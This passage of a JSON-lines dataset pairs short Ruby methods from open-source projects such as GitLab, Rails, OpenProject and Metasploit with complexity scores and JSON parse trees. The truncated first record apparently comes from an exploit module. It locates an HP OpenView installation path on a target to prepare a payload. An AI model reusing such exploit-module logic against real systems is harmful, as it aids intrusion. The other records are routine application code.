},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"installation_path\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([A-Z]:\\\\\\\\.*\\\\\\\\)log\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Installation Path Found in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"installation_path\",{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Installation Path Not Found using the default\"]}]},{\"type\":\"lvasgn\",\"children\":[\"installation_path\",{\"type\":\"str\",\"children\":[\"C:\\\\Program Files\\\\HP OpenView\\\\\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installation_path\"]}]}]}]}","id":"88d27a3c-752b-4be3-a4f6-403c55f59ad1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/route.rb","start_line":39,"raw_source":"def delete_conflicting_redirects\n    conflicting_redirects.delete_all\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_conflicting_redirects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conflicting_redirects\"]},\"delete_all\"]}]}","id":"6bd4cdca-036b-41f3-923d-07204c0171da"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/yaml_parser/section_builder.rb","start_line":31,"raw_source":"def to_element\n          elem = body.to_element\n          elem.name = name\n          elem.arg = arg.to_s if arg\n          elem.v1_config = true\n          elem\n        end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"to_element\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"elem\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body\"]},\"to_element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem\"]},\"name=\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem\"]},\"arg=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arg\"]},\"to_s\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem\"]},\"v1_config=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"elem\"]}]}]}","id":"32ddd2aa-90c2-463e-8b4e-c8a167c3dd18"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/badges_spec.rb","start_line":15,"raw_source":"def get_source(source_type)\n      source_type == 'project' ? project : group\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}","id":"1b4bc6ca-612d-499f-9857-3e3911744525"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/orchestration_template.rb","start_line":132,"raw_source":"def self.eligible_manager_types\n    raise NotImplementedError, _(\"eligible_manager_types must be implemented in subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"eligible_manager_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"eligible_manager_types must be implemented in subclass\"]}]}]}]}","id":"eb9d934f-2361-4641-9f9f-9b0672e8a0f1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/lib/open_project/backlogs/patches/set_attributes_service_patch.rb","start_line":66,"raw_source":"def ancestor_chain(parent_id)\n      ancestors = []\n      unless parent_id.nil?\n        real_parent = WorkPackage.find_by(id: parent_id)\n\n        # Sort immediate ancestors first\n        ancestors = real_parent\n                    .ancestors\n                    .includes(project: :enabled_modules)\n                    .order_by_ancestors(\"desc\")\n                    .select(\"work_packages.*, COALESCE(max_depth.depth, 0)\")\n\n        ancestors = [real_parent] + ancestors\n      end\n      ancestors\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ancestor_chain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ancestors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_id\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"real_parent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"parent_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ancestors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"real_parent\"]},\"ancestors\"]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"sym\",\"children\":[\"enabled_modules\"]}]}]}]},\"order_by_ancestors\",{\"type\":\"str\",\"children\":[\"desc\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"work_packages.*, COALESCE(max_depth.depth, 0)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ancestors\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"real_parent\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"ancestors\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ancestors\"]}]}]}","id":"215c6301-4606-4658-830f-56e14a9f775f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/documentation.rb","start_line":25,"raw_source":"def base_url_for(cop_class, config)\n        if config\n          department_name = cop_class.department.to_s\n          url = config.for_department(department_name)['DocumentationBaseURL']\n          return url if url\n        end\n\n        default_base_url if builtin?(cop_class)\n      end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"base_url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop_class\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"department_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_class\"]},\"department\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"for_department\",{\"type\":\"lvar\",\"children\":[\"department_name\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"DocumentationBaseURL\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"builtin?\",{\"type\":\"lvar\",\"children\":[\"cop_class\"]}]},{\"type\":\"send\",\"children\":[null,\"default_base_url\"]},null]}]}]}","id":"637e0b4c-ea12-492e-afe1-cac23581a908"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/shared_example_group.rb","start_line":204,"raw_source":"def shared_example_groups\n          @shared_example_groups ||= Hash.new { |hash, context| hash[context] = {} }\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_example_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@shared_example_groups\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"d4ef9fdc-4da8-48cc-b613-ebc440a7a588"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/campfire.rb","start_line":123,"raw_source":"def create_message(push)\n      ref = Gitlab::Git.ref_name(push[:ref])\n      before = push[:before]\n      after = push[:after]\n\n      message = []\n      message << \"[#{project.full_name}] \"\n      message << \"#{push[:user_name]} \"\n\n      if Gitlab::Git.blank_ref?(before)\n        message << \"pushed new branch #{ref} \\n\"\n      elsif Gitlab::Git.blank_ref?(after)\n        message << \"removed branch #{ref} \\n\"\n      else\n        message << \"pushed #{push[:total_commits_count]} commits to #{ref}. \"\n        message << \"#{project.web_url}/compare/#{before}...#{after}\"\n      end\n\n      message.join\n    end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"push\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"ref_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"before\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"after\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_name\"]}]},{\"type\":\"str\",\"children\":[\"] \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_name\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"blank_ref?\",{\"type\":\"lvar\",\"children\":[\"before\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pushed new branch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"str\",\"children\":[\" \\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"blank_ref?\",{\"type\":\"lvar\",\"children\":[\"after\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"removed branch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"str\",\"children\":[\" \\n\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pushed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"total_commits_count\"]}]}]},{\"type\":\"str\",\"children\":[\" commits to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"web_url\"]}]},{\"type\":\"str\",\"children\":[\"/compare/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"before\"]}]},{\"type\":\"str\",\"children\":[\"...\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"after\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"join\"]}]}]}","id":"789389a2-0c97-43eb-93f1-ae937442fc1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/sha_attribute.rb","start_line":7,"raw_source":"def initialize(column_name, column_type)\n      @column_name = column_name\n      @column_type = column_type\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"arg\",\"children\":[\"column_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@column_name\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@column_type\",{\"type\":\"lvar\",\"children\":[\"column_type\"]}]}]}]}","id":"4fa14d68-1d8d-4352-8eb2-9b9ddf0024f2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/scanner.rb","start_line":276,"raw_source":"def has_fatal_errors?\n  @scan_errors && !@scan_errors.empty?\nend","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_fatal_errors?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scan_errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scan_errors\"]},\"empty?\"]},\"!\"]}]}]}","id":"7c547275-8391-4262-9fe4-657135a96320"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_search.rb","start_line":53,"raw_source":"def self.visible_to_current_user\n    where(:search_type => 'user', :search_key => User.current_user.userid)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"visible_to_current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search_type\"]},{\"type\":\"str\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current_user\"]},\"userid\"]}]}]}]}]}","id":"45d0d120-e299-4a6a-ab10-1ee48710aafb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/scoping.rb","start_line":117,"raw_source":"def value_for(scope_type, model, skip_inherited_scope = false)\n          return scope_type[model.name] if skip_inherited_scope\n          klass = model\n          base = model.base_class\n          while klass != base\n            value = scope_type[klass.name]\n            return value if value\n            klass = klass.superclass\n          end\n          scope_type[klass.name]\n        end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"value_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope_type\"]},{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"optarg\",\"children\":[\"skip_inherited_scope\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_inherited_scope\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_type\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"base_class\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_type\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"superclass\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_type\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"name\"]}]}]}]}","id":"73391ad3-65c5-49c4-97c5-8d8aed530e37"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/metrics.rb","start_line":9,"raw_source":"def subtransactions_increment(model_name)\n          subtransactions_counter.increment(model: model_name)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"subtransactions_increment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subtransactions_counter\"]},\"increment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"model_name\"]}]}]}]}]}","id":"d50e3a58-ab00-4e62-9404-2f3c37dfbca2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/commands/set_permissions_command.rb","start_line":107,"raw_source":"def update_permissions(update_data, http)\n              info \"Updating permissions on #{update_data.item_id}\"\n              delete_permissions(update_data, http)\n              create_permissions(update_data, http)\n            end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"update_data\"]},{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Updating permissions on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_data\"]},\"item_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"delete_permissions\",{\"type\":\"lvar\",\"children\":[\"update_data\"]},{\"type\":\"lvar\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[null,\"create_permissions\",{\"type\":\"lvar\",\"children\":[\"update_data\"]},{\"type\":\"lvar\",\"children\":[\"http\"]}]}]}]}","id":"48bb4cad-132d-4694-932c-8d6d12cfd654"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/reminders/set_attributes_service.rb","start_line":49,"raw_source":"def build_remind_at_from_params(params, remind_at_params)\n      return params if remind_at_params.empty?\n\n      date = remind_at_params[:remind_at_date]\n      time = remind_at_params[:remind_at_time]\n      params[:remind_at] = date.present? && time.present? ? User.current.time_zone.parse(\"#{date} #{time}\") : nil\n    end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_remind_at_from_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"remind_at_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remind_at_params\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remind_at_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remind_at_date\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remind_at_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remind_at_time\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remind_at\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"time_zone\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"0f6013bd-6b87-4008-874b-26746141336c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/onceoff/migrate_custom_emojis.rb","start_line":36,"raw_source":"def warn(message)\n      Rails.logger.warn(message)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"warn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"a49fdf73-d871-4660-8e21-01f557e120e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/entities/project.rb","start_line":188,"raw_source":"def self.preload_relation(projects_relation, options = {})\n        # Preloading topics, should be done with using only `:topics`,\n        # as `:topics` are defined as: `has_many :topics, through: :project_topics`\n        # N+1 is solved then by using `subject.topics.map(&:name)`\n        # MR describing the solution: https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/20555\n        super(projects_relation).preload(group: :namespace_settings)\n                                .preload(:ci_cd_settings)\n                                .preload(:project_setting)\n                                .preload(:container_expiration_policy)\n                                .preload(:auto_devops)\n                                .preload(:project_repository)\n                                .preload(:service_desk_setting)\n                                .preload(project_group_links: { group: :route },\n                                  fork_network: :root_project,\n                                  fork_network_member: :forked_from_project)\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"preload_relation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"projects_relation\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects_relation\"]}]},\"preload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"sym\",\"children\":[\"namespace_settings\"]}]}]}]},\"preload\",{\"type\":\"sym\",\"children\":[\"ci_cd_settings\"]}]},\"preload\",{\"type\":\"sym\",\"children\":[\"project_setting\"]}]},\"preload\",{\"type\":\"sym\",\"children\":[\"container_expiration_policy\"]}]},\"preload\",{\"type\":\"sym\",\"children\":[\"auto_devops\"]}]},\"preload\",{\"type\":\"sym\",\"children\":[\"project_repository\"]}]},\"preload\",{\"type\":\"sym\",\"children\":[\"service_desk_setting\"]}]},\"preload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_group_links\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"sym\",\"children\":[\"route\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fork_network\"]},{\"type\":\"sym\",\"children\":[\"root_project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fork_network_member\"]},{\"type\":\"sym\",\"children\":[\"forked_from_project\"]}]}]}]}]}","id":"b0a86d88-05e6-47cb-b402-705606a1aa28"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/ci/runner_spec.rb","start_line":920,"raw_source":"def value_in_queues\n      Gitlab::Redis::Workhorse.with do |redis|\n        runner_queue_key = runner.send(:runner_queue_key)\n        redis.get(runner_queue_key)\n      end\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"value_in_queues\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Workhorse\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"runner_queue_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner\"]},\"send\",{\"type\":\"sym\",\"children\":[\"runner_queue_key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"runner_queue_key\"]}]}]}]}]}","id":"f202ac89-08bd-4c34-a0bc-f5346300e9a1"}
